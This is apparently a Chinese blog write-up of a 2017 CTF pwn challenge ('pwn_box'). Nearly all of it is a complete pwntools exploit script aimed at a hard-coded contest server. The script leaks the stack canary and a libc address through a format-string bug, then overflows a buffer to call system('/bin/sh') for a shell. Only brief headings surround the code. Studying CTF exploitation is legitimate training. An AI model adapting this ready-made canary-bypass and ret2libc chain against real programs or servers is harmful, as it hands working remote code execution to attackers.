2017陕西赛pwn_box_Writeup

原创

Flying_Fatty 于 2017-04-27 11:35:33 发布 564 收藏
分类专栏： CTF之旅 pwn

题目链接：BIN的Magical_Box

格式化字符串泄露Canary和libc地址

缓冲区溢出提权

```
from pwn import *

Local = False
if Local:
    io = process('./pwn_box')
    libc = ELF('/lib/i386-linux-gnu/libc.so.6')
    elf = ELF('./pwn_box')
else:
    io = remote('117.34.80.134',7777)
    libc = ELF('./libc.so.6')
    elf = ELF('./pwn_box')

def recvn(x):
    global io
    io.recvuntil(x)

def recv(x):
    global io
    return io.recv(x)

def send(x):
    global io
    io.sendline(x)

#get Canary
recvn('?')
send('%7$p')
recvn('login!')
```

```
canary = recv(10)
canary = int(canary,16)
#log.info("canary:" + hex(canary)

#get libc address
got_puts = elf.got['puts']
#log.info("got_puts:" + hex(got_puts))
recvn('?')
send('aa' + p32(got_puts) + "%5$s")
recvn(p32(got_puts))
puts_addr = io.recv(4)
puts_addr = u32(puts_addr)
#log.info("puts_addr:" + hex(puts_addr))

#get system address && /bin/sh address
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search('/bin/sh'))

#login
username = 'admin2017'
recvn("?")
send(username)

#get payload
#get flag:system('/bin/sh')
payload = 'a' * 30
payload += p32(canary)
payload += 'a' * 12
payload += p32(system_addr)
payload += 'a' * 4
payload += p32(binsh_addr)

recvn("commands.\n")
send('add')
recvn('APP/Site: ')
send('1')
recvn('Username: ')
send('2')
recvn('Password: ')
send(payload)

io.interactive()
```

调试过程如下：

格式化字符串调试

缓冲区溢出调试